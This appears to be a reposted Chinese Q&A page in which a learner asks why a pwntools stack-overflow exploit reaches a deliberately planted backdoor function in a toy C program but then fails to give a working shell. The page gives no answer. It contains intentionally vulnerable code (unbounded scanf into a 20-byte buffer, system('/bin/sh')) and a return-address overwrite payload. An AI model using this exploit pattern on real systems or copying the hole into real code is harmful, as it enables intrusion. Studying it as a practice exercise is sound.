pwn 用于简单的堆栈溢出

问题描述

程序在这里

int backdoor() {
    printf("backdoor\n");   
    return system("/bin/sh");
}

void func() {
    char buf[20];
    printf("Hello man.Say sth.\n");
    scanf("%s",buf);
    printf("you say:%s\n",buf);
}

int main(){
    func();
    return 0;
}

exp.py 在这里

from pwn import *
context(os='linux',log_level='debug') #打印调试信息
conn = process('./demo')
backdoor = 0x40116d

conn.recv()
payload = b'a' * (0x20 + 8) + p64(backdoor)

conn.sendline(payload)
conn.recv()
conn.interactive()

我确定我进入了后门函数,因为调试信息显示我在后门中收到了printf函数输出“后门”。但是当我输入“id”时,程序出错了。

shotcut for the error

我怎样才能成功解决它?

错误在这里

enter image description here

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)

相关问答

Selenium Web驱动程序和Java。元素在(x,y)点处不可单击。其...
Python-如何使用点“。” 访问字典成员?
Java 字符串是不可变的。到底是什么意思?
Java中的“ final”关键字如何工作?(我仍然可以修改对象。...
“loop:”在Java代码中。这是什么,为什么要编译?
java.lang.ClassNotFoundException:sun.jdbc.odbc.JdbcOdbc...